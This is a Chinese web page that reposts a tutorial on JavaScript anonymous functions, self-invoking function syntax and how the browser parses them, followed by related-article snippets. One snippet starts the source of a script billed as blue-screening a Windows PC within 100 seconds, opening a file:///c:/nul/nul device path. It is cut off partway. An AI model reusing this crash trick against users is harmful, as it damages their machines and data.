易截截图软件、单文件、免安装、纯绿色、仅160KB

JavaScript中匿名函数,函数直接量和闭包(转)

原文出处: http://www.dnew.cn/post/196.htm
先看下下面几种写法
1.function f(x){return x*x;};f(x);
2.(function(x){return x*x;})(x);
3.(function(x){return x*x;}(x));
第一种我们应该都很熟悉了,这是我们经常使用的写法。第二第三种都是匿名函数的写法。
--------------------------------------------------------------------------------
第二种
可以这样理解:
•var f=function(x) {return x*x;};f()
那我们不通过f这个变量来引用函数就是
•function(){}()
然而这样肯定是错误的就像
•var f=1+2;
•f=f*0;

•var f=1+2*0;
结果不同一样。
要得到正确结果只能:
•f=(1+2)*0;
也就是要明确的标识出程序块,即:
•(function(){})()
肯你有疑问:括号“()”到底是不是起到了标识代码块的作用?
我们可以用JavaScript的内置函数检测一下!
举一个最简单的例子:
•alert(4)
这段代码会弹出提示内容是“4”
改成这样
•(alert)(4)
可以看到执行的效果和上一段代码一样。
这种形式的函数执行也被很多JavaScript框架所采用。
--------------------------------------------------------------------------------
第三种,如果你用过jsvm框架的话就会发现里面的代码使用了这种形式。
那如何解释第三种情况呢?
为了弄明白浏览器是如何理解这样的写法的,我们可以利用一下Mozilla Firefox的错误控制台功能。
在代码中插入一段错误代码,代码段如下:
•(function(s){s+s}(1)).splice();
打开Mozilla Firefox的错误控制台,可以看到有如下的错误提示
错误: (function (s) {})(1) has no properties
源文件:file:///C:/Documents…….html
行:18
可以认为,浏览器对于
•(function(s){s+s}(1))
这样的代码按照
•(function (s) {s+s})(1)
来解析的。


相关文档:

a href="javascript:if(confirm(


a href="javascript:if(confirm(
悬赏分:0 - 解决时间:2008-9-25 13:58
a href="javascript:if(confirm('http://hunter.51rc.com/ \n\n文件并未依 Teleport Pro 取回,因为 它的域或路径超过开始网址中设置的范围。 \n\n你要从服务器上打开它吗?'))window.location='http://hunter.51rc.com/'" tppabs="http://h ......

JavaScript 正则表达式替换

简单的例子,自己看看,省得以后老是去找了。
<script language="javascript">
//用正则替换将X替换成y
var s="daxdasx";//原字符串
var k="x";//被替换的字段
var re = new RegExp(k,"g");
alert("替换前字符串为:"+s);
s = s.replace(re,"y");
alert("替换后字符串为:"+s);
</script> ......

在javascript中获取中英文字符长度的问题


在javascript中获取中英文字符长度的问题
var i="中国a";
一般情况下,我们用i.length会得到结果3
但有时候我们需要5,下面的小代码可以解决问题
Java代码
 1. <script>     
 2.  alert (fucCheckLength("中国aaaa"));     
& ......

100秒内蓝屏死机的Javascript脚本源代码

【!声明:此程序只供研究使用,如用做不正当用途后果自负】
100秒内蓝屏死机的Javascript脚本源代码
引自:http://www.webdeveloping.cn/blog/?action=show&id=78
<html>
<head>
<script LANGUAGE="javascript">
  function leave() {
window.open(file:///c:/nul/nul,,toolbar=no,menub ......

javaScript简介


在数百万张页面中,JavaScript 被用来改进设计、验证表单、检测浏览器、创建cookies,等等等等。
JavaScript 是因特网上最流行的脚本语言,并且可在所有主要的浏览器中运行,比方说 Internet
Explorer、 Mozilla、Firefox、Netscape、和 Opera。
            ......
© 2009 ej38.com All Rights Reserved. 关于E健网联系我们 | 站点地图 | 赣ICP备09004571号